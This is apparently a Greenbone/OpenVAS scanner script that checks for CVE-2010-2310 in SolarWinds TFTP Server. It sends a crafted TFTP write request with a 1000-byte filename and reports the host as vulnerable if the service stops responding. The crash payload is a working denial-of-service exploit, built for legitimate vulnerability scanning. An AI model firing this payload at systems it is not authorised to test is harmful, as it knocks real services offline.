SolarWinds TFTP Server Write Request Denial Of Service Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.901124");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2010-2310");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2010-06-22 13:34:32 +0200 (Tue, 22 Jun 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("SolarWinds TFTP Server Write Request Denial Of Service Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_mandatory_keys("tftp/detected");
  script_require_keys("Host/runs_windows");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/13836");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/40824");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to crash the server
  process, resulting in a denial-of-service condition.");

  script_tag(name:"affected", value:"SolarWinds TFTP Server 10.4.0.13.");

  script_tag(name:"insight", value:"The flaw is caused by an error when processing TFTP write
  requests, which can be exploited to crash the server via a specially crafted request.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"summary", value:"SolarWinds TFTP Server is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

if(TARGET_IS_IPV6())
  exit(0);

include("tftp.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = service_get_port( default:69, proto:"tftp", ipproto:"udp" );

if( ! tftp_alive( port:port ) )
  exit( 0 );

sock = open_sock_udp( port );
if( ! sock )
  exit( 0 );

crash = raw_string( 0x00, 0x02 ) + crap( 1000 ) + raw_string( 0x00 ) +
        "NETASCII" + raw_string( 0x00 );
send( socket:sock, data:crash );
close( sock );

if( ! tftp_alive( port:port ) ) {
  security_message( port:port, proto:"udp" );
  exit( 0 );
}

exit( 99 );